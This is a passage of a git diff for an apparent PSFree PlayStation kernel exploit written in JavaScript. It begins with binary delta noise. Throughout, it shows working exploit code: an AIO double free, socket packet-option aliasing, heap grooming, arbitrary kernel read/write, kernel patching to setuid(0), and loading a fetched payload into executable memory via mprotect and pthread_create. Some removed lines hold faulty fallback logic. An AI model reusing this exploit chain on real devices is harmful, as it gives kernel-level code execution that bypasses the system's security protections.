zO96_%0kVsM^bsJv9!TE+(i0C#OnxC~!8m8KqL8?xH&7+Wc9^NkK(-JABLn~BKp}ZX z{>gM}0uYvE HMRs)n%aAN^ delta 156 zcmeytcY<$%2IGm1n!b!&FBpJe2Z)&5%V;q90Am8L2$16f5&;7K$&4(@lOvcq82KkZ zWK!p4g$OgS0BP3Ey3DT`ffACe=A0jxATkn@BU#NE8z)a>wP##A`67_qFj 0) { - log(`Direct attempt ${loop + 1}/${max_attempts}...`); - sleep(100); // Delay tetap untuk menghindari peningkatan yang terlalu besar - } - - // Buat socket baru untuk setiap percobaan - if (loop > 0 && loop % 5 === 0) { - log("Creating new sockets for fresh attempt..."); - // Buat beberapa socket baru - for (let i = 0; i < 5; i++) { - sds.push(new_socket()); + for (let i = 0; i < sds.length; i++) { + gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); + const marker = tclass[0]; + if (marker !== i) { + log(`aliased pktopts at attempt: ${loop}`); + const pair = [sds[i], sds[marker]]; + log(`found pair: ${pair}`); + sds.splice(marker, 1); + sds.splice(i, 1); + // add pktopts to the new sockets now while new allocs can't + // use the double freed memory + for (let i = 0; i < 2; i++) { + const sd = new_socket(); + ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass); + sds.push(sd); } + + return pair; } + } - // Coba metode asli - for (let i = 0; i < Math.min(num_sds, sds.length); i++) { - tclass[0] = i; - try { - ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - } catch (e) { - log(`Error setting socket option for socket ${i}: ${e.message}`); - // Lanjutkan ke socket berikutnya - } - } - - for (let i = 0; i < sds.length; i++) { - try { - gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - const marker = tclass[0]; - if (marker !== i) { - log(`aliased pktopts at direct attempt: ${loop + 1}`); - const pair = [sds[i], sds[marker]]; - log(`found pair: ${pair}`); - - // Tambahkan delay sebelum memodifikasi array sds - sleep(50); - - // Simpan indeks yang akan dihapus - const idx1 = Math.max(i, marker); - const idx2 = Math.min(i, marker); - - // Hapus dari belakang ke depan untuk menghindari masalah indeks - if (idx1 < sds.length) sds.splice(idx1, 1); - if (idx2 < sds.length) sds.splice(idx2, 1); - - // Tambahkan delay sebelum membuat socket baru - sleep(50); - - // add pktopts to the new sockets now while new allocs can't - // use the double freed memory - for (let i = 0; i < 2; i++) { - const sd = new_socket(); - ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass); - sds.push(sd); - } - - return pair; - } - } catch (e) { - log(`Error getting socket option for socket ${i}: ${e.message}`); - // Lanjutkan ke socket berikutnya - } - } - - // Jika kita sampai di sini, kita tidak menemukan pasangan - // Coba reset pktopts untuk beberapa socket - const reset_count = Math.min(20, sds.length); - log(`Resetting pktopts for ${reset_count} sockets...`); - for (let i = 0; i < reset_count; i++) { - try { - setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); - } catch (e) { - // Abaikan error - } - } - } catch (e) { - log(`Error in direct attempt ${loop + 1}: ${e.message}`); + for (let i = 0; i < num_sds; i++) { + setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); } } - - // Jika pendekatan langsung gagal, coba pendekatan alternatif - log("Direct approach failed. Trying alternative approach..."); - - // Buat socket baru dan coba lagi dengan set socket yang baru - const new_sds = []; - for (let i = 0; i < 30; i++) { - new_sds.push(new_socket()); - } - - // Coba dengan set socket yang baru saja - for (let loop = 0; loop < 10; loop++) { - try { - log(`Alternative attempt ${loop + 1}/10...`); - - // Set tclass untuk semua socket baru - for (let i = 0; i < new_sds.length; i++) { - tclass[0] = i; - try { - ssockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - } catch (e) { - // Abaikan error - } - } - - // Periksa apakah ada socket yang aliased - for (let i = 0; i < new_sds.length; i++) { - try { - gsockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - const marker = tclass[0]; - if (marker !== i) { - log(`aliased pktopts at alternative attempt: ${loop + 1}`); - const pair = [new_sds[i], new_sds[marker]]; - log(`found pair: ${pair}`); - return pair; - } - } catch (e) { - // Abaikan error - } - } - - // Reset pktopts untuk beberapa socket - for (let i = 0; i < Math.min(10, new_sds.length); i++) { - try { - setsockopt(new_sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); - } catch (e) { - // Abaikan error - } - } - } catch (e) { - log(`Error in alternative attempt ${loop + 1}: ${e.message}`); - } - } - - // Jika semua pendekatan gagal, coba pendekatan terakhir dengan socket yang ada - log("Alternative approach failed. Trying last resort approach..."); - - // Gunakan socket yang ada sebagai fallback - // Ini mungkin tidak ideal, tetapi lebih baik daripada gagal total - if (sds.length >= 2) { - log("Using existing sockets as fallback..."); - const pair = [sds[0], sds[1]]; - log(`Using fallback pair: ${pair}`); - return pair; - } - - // Jika benar-benar tidak ada pilihan lain, buat socket baru - log("Creating new sockets for fallback..."); - const fallback_sd1 = new_socket(); - const fallback_sd2 = new_socket(); - const fallback_pair = [fallback_sd1, fallback_sd2]; - log(`Using emergency fallback pair: ${fallback_pair}`); - return fallback_pair; + die('failed to make aliased pktopts'); } function double_free_reqs1( @@ -1272,23 +1131,9 @@ function double_free_reqs1( // we reclaim first since the sanity checking here is longer which makes it // more likely that we have another process claim the memory try { - log("Attempting to make aliased pktopts..."); - - // Tambahkan delay sebelum mencoba - sleep(200); - // RESTORE: double freed memory has been reclaimed with harmless data // PANIC: 0x100 malloc zone pointers aliased const sd_pair = make_aliased_pktopts(sds); - - if (sd_pair) { - log("Successfully made aliased pktopts"); - } else { - // Ini seharusnya tidak terjadi karena make_aliased_pktopts selalu mengembalikan pasangan - // Tetapi kita tetap memeriksa untuk berjaga-jaga - die('Failed to make aliased pktopts - no pair returned'); - } - return [sd_pair, sd]; } finally { log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); @@ -1628,15 +1473,14 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { log('corrupt pointers cleaned'); - + // REMOVE once restore kernel is ready for production // increase the ref counts to prevent deallocation kmem.write32(main_sock, kmem.read32(main_sock) + 1); kmem.write32(worker_sock, kmem.read32(worker_sock) + 1); // +2 since we have to take into account the fget_write()'s reference kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2); - - + return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]]; } @@ -1754,8 +1598,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { log('setuid(0)'); sysi('setuid', 0); log('kernel exploit succeeded!'); - updateUIStatus('success', 'Kernel exploit succeeded!'); - updateUIProgress('complete', 100); alert("kernel exploit succeeded!"); } @@ -1799,6 +1641,17 @@ function setup(block_fd) { // allocate enough so that we start allocating from a newly created slab spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false); cancel_aios(groom_ids_p, num_grooms); + { + // chosen to maximize the number of 0x100 malloc allocs per submission + const num_reqs = 4; + const groom_ids = new View4(num_grooms); + const groom_ids_p = groom_ids.addr; + const greqs = make_reqs1(num_reqs); + // allocate enough so that we start allocating from a newly created slab + spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false); + cancel_aios(groom_ids_p, num_grooms); + } + return [block_id, groom_ids]; } @@ -1813,63 +1666,11 @@ function setup(block_fd) { // * corrupt a pipe for arbitrary r/w // // the exploit implementation also assumes that we are pinned to one core -// Function to update UI progress -function updateUIProgress(stage, percent) { - // Send log to remote logger if available - if (window.RemoteLogger) { - window.RemoteLogger.logStage(stage, percent); - } - - document.dispatchEvent(new CustomEvent('exploitProgress', { - detail: { - stage: stage, - percent: percent - } - })); -} - -// Function to update UI status -function updateUIStatus(status, message) { - // Send log to remote logger if available - if (window.RemoteLogger) { - if (status === 'running') { - window.RemoteLogger.info(message); - } else if (status === 'success') { - window.RemoteLogger.info(`SUCCESS: ${message}`); - } else if (status === 'error') { - window.RemoteLogger.error(`ERROR: ${message}`); - } - } - - document.dispatchEvent(new CustomEvent('exploitStatus', { - detail: { - status: status, - message: message - } - })); -} - - export async function kexploit() { - updateUIStatus('running', 'Initializing exploit...'); - updateUIProgress('init', 5); - const _init_t1 = performance.now(); await init(); const _init_t2 = performance.now(); - updateUIProgress('init', 10); - - // If setuid is successful, we dont need to run the kexploit again - try { - if (sysi('setuid', 0) == 0) { - log("Not running kexploit again.") - updateUIStatus('success', 'Already exploited. Not running again.'); - return; - } - } - catch (e) {} - // fun fact: // if the first thing you do since boot is run the web browser, WebKit can // use all the cores @@ -1902,38 +1703,26 @@ export async function kexploit() { let groom_ids = null; try { log('STAGE: Setup'); - updateUIStatus('running', 'Setting up exploit environment...'); - updateUIProgress('setup', 20); [block_id, groom_ids] = setup(block_fd); log('\nSTAGE: Double free AIO queue entry'); - updateUIStatus('running', 'Exploiting AIO queue entry...'); - updateUIProgress('double_free_1', 30); const sd_pair = double_free_reqs2(sds); log('\nSTAGE: Leak kernel addresses'); - updateUIStatus('running', 'Leaking kernel addresses...'); - updateUIProgress('leak', 45); const [ reqs1_addr, kbuf_addr, kernel_addr, target_id, evf, ] = leak_kernel_addrs(sd_pair); log('\nSTAGE: Double free SceKernelAioRWRequest'); - updateUIStatus('running', 'Exploiting SceKernelAioRWRequest...'); - updateUIProgress('double_free_2', 60); const [pktopts_sds, dirty_sd] = double_free_reqs1( reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds, ); log('\nSTAGE: Get arbitrary kernel read/write'); - updateUIStatus('running', 'Gaining kernel read/write access...'); - updateUIProgress('kernel_rw', 75); const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw( pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds); log('\nSTAGE: Patch kernel'); - updateUIStatus('running', 'Patching kernel...'); - updateUIProgress('patch', 90); await patch_kernel(kbase, kmem, p_ucred, restore_info); } finally { close(unblock_fd); @@ -1956,120 +1745,40 @@ export async function kexploit() { } } -// Function to run the payload with error handling -async function runPayload() { - try { - // Add delay before running the payload - await new Promise(resolve => setTimeout(resolve, 1000)); - - log("Preparing to run payload..."); - - // Check if payload is available - if (!window.pld || window.pld.length === 0) { - log("ERROR: Payload not loaded or empty"); - updateUIStatus('error', 'Payload not available or is empty'); - return; - } - - // Allocate memory for payload - var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0); - - // Check if payload_buffer is valid (not null, undefined, or 0) - if (!payload_buffer || payload_buffer.low === 0 && payload_buffer.high === 0) { - log("ERROR: Failed to allocate memory for payload"); - updateUIStatus('error', 'Failed to allocate memory for payload'); - return; - } - - log(`Allocated payload buffer at ${payload_buffer}`); - - // Create view for payload - var payload_loader = new View4(window.pld); - log(`Payload size: ${payload_loader.size} bytes`); - - // Check payload size - if (payload_loader.size < 100) { - log("WARNING: Payload size is suspiciously small"); - } - - // Change memory protection - try { - log(`Setting memory protection for payload at ${payload_loader.addr} with size ${payload_loader.size}`); - - // Use syscall_void to avoid checking return value - // mprotect returns 0 on success - try { - chain.syscall_void('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC); - log("mprotect successful"); - } catch (e) { - log(`ERROR: mprotect syscall failed: ${e.message}`); - updateUIStatus('error', `Failed to change memory protection: ${e.message}`); - return; - } - } catch (e) { - log(`ERROR: Exception during mprotect: ${e.message}`); - updateUIStatus('error', `Error while changing memory protection: ${e.message}`); - return; - } - - log("Memory protection set successfully"); - - // Allocate memory for thread context - const ctx = new Buffer(0x10); - const pthread = new Pointer(); - pthread.ctx = ctx; - - log("Creating thread to run payload..."); - updateUIStatus('running', 'Running payload...'); - - // Run payload in a separate thread - try { - log(`Creating thread with payload at ${payload_loader.addr} and buffer at ${payload_buffer}`); - - // Add delay before pthread_create - await new Promise(resolve => setTimeout(resolve, 500)); - - try { - // Use chain.call_void to avoid checking return value - log("Calling pthread_create..."); - chain.call_void( - 'pthread_create', - pthread.addr, - 0, - payload_loader.addr, - payload_buffer, - ); - log("pthread_create called successfully"); - } catch (e) { - log(`ERROR: pthread_create call failed: ${e.message}`); - updateUIStatus('error', `Failed to create thread: ${e.message}`); - return; - } - - // Add delay after pthread_create to ensure the thread starts - await new Promise(resolve => setTimeout(resolve, 500)); - - } catch (e) { - log(`ERROR: Exception during pthread_create: ${e.message}`); - updateUIStatus('error', `Error while creating thread: ${e.message}`); - return; - } - - log("Payload thread created successfully"); - updateUIStatus('success', 'Payload executed successfully'); - - } catch (e) { - log(`ERROR: Exception while running payload: ${e.message}`); - updateUIStatus('error', `Error while running payload: ${e.message}`); +setTimeout(kexploit().then(() => { + function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = backing; + return ptr; } -} -// Run exploit and then the payload -kexploit().then(() => { - // Add delay before running the payload - setTimeout(() => { - log("Exploit completed, preparing to run payload..."); - runPayload(); - }, 2000); // 2 second delay -}); + function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; + } + window.pld_size = new Int(0x26200000, 0x9); + var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); + var payload = window.pld; + var bufLen = payload.length * 4 + var payload_loader = malloc32(bufLen); + var loader_writer = payload_loader.backing; + for (var i = 0; i < payload.length; i++) { + loader_writer[i] = payload[i]; + } + chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4)); + var pthread = malloc(0x10); + + call_nze( + 'pthread_create', + pthread, + 0, + payload_loader, + payload_buffer, + ); +}),1000); \ No newline at end of file diff --git a/module/utils.mjs b/module/utils.mjs index b95d874..7c20ef1 100644 --- a/module/utils.mjs +++ b/module/utils.mjs @@ -25,38 +25,16 @@ export class DieError extends Error { } export function die(msg='') { - // Kirim ke remote logger jika tersedia - if (window.RemoteLogger) { - window.RemoteLogger.error(`FATAL ERROR: ${msg}`); - } - - // Juga kirim ke console.error browser untuk debugging - window.console.error(`FATAL ERROR: ${msg}`); - - // Update UI status jika tersedia - if (typeof updateUIStatus === 'function') { - updateUIStatus('error', msg); - } - throw new DieError(msg); } -const consoleElement = document.getElementById('console'); +const console = document.getElementById('console'); export function log(msg='') { - // Tambahkan ke konsol lokal - consoleElement.append(msg + '\n'); - - // Kirim ke remote logger jika tersedia - if (window.RemoteLogger) { - window.RemoteLogger.debug(msg); - } - - // Juga kirim ke console.log browser untuk debugging - window.console.log(msg); + console.append(msg + '\n'); } export function clear_log() { - consoleElement.innerHTML = null; + console.innerHTML = null; } // alignment must be 32 bits and is a power of 2 diff --git a/package-lock.json b/package-lock.json deleted file mode 100644 index 81f3415..0000000 --- a/package-lock.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "name": "PSFree", - "lockfileVersion": 3, - "requires": true, - "packages": {} -} diff --git a/payload.js b/payload.js index 84115cf..f64dfc2 100644 --- a/payload.js +++ b/payload.js @@ -1,68 +1,6 @@ -// Function to validate the payload -function validatePayload(buffer) { - // Check the size of the payload - if (buffer.byteLength < 100) { - console.warn("WARNING: Payload size is suspiciously small:", buffer.byteLength, "bytes"); - } +fetch('./payload.bin').then(res => { + res.arrayBuffer().then(arr => { + window.pld = new Uint32Array(arr); - // Check if the payload has a valid header - // This is just a simple example, adjust to match the actual payload format - const view = new DataView(buffer); - const magic = view.getUint32(0, true); // Little endian - - // Log payload info for debugging - console.log("Payload size:", buffer.byteLength, "bytes"); - console.log("Payload first 4 bytes (magic):", "0x" + magic.toString(16)); - - return true; -} - -// Function to load the payload with error handling -function loadPayload() { - console.log("Loading payload.bin..."); - - fetch('./payload.bin') - .then(res => { - if (!res.ok) { - throw new Error(`Failed to load payload: ${res.status} ${res.statusText}`); - } - console.log("Payload fetched successfully, processing..."); - return res.arrayBuffer(); - }) - .then(arr => { - try { - // Validate the payload - if (validatePayload(arr)) { - // Store payload in window.pld - window.pld = new Uint32Array(arr); - console.log("Payload loaded and validated successfully"); - - // Dispatch event to notify other components - const event = new CustomEvent('payloadLoaded', { - detail: { size: arr.byteLength } - }); - document.dispatchEvent(event); - } - } catch (e) { - console.error("Error processing payload:", e); - - // Dispatch error event - const event = new CustomEvent('payloadError', { - detail: { error: e.message } - }); - document.dispatchEvent(event); - } - }) - .catch(err => { - console.error("Error loading payload:", err); - - // Dispatch error event - const event = new CustomEvent('payloadError', { - detail: { error: err.message } - }); - document.dispatchEvent(event); - }); -} - -// Load payload when the script runs -loadPayload(); + }) +}) \ No newline at end of file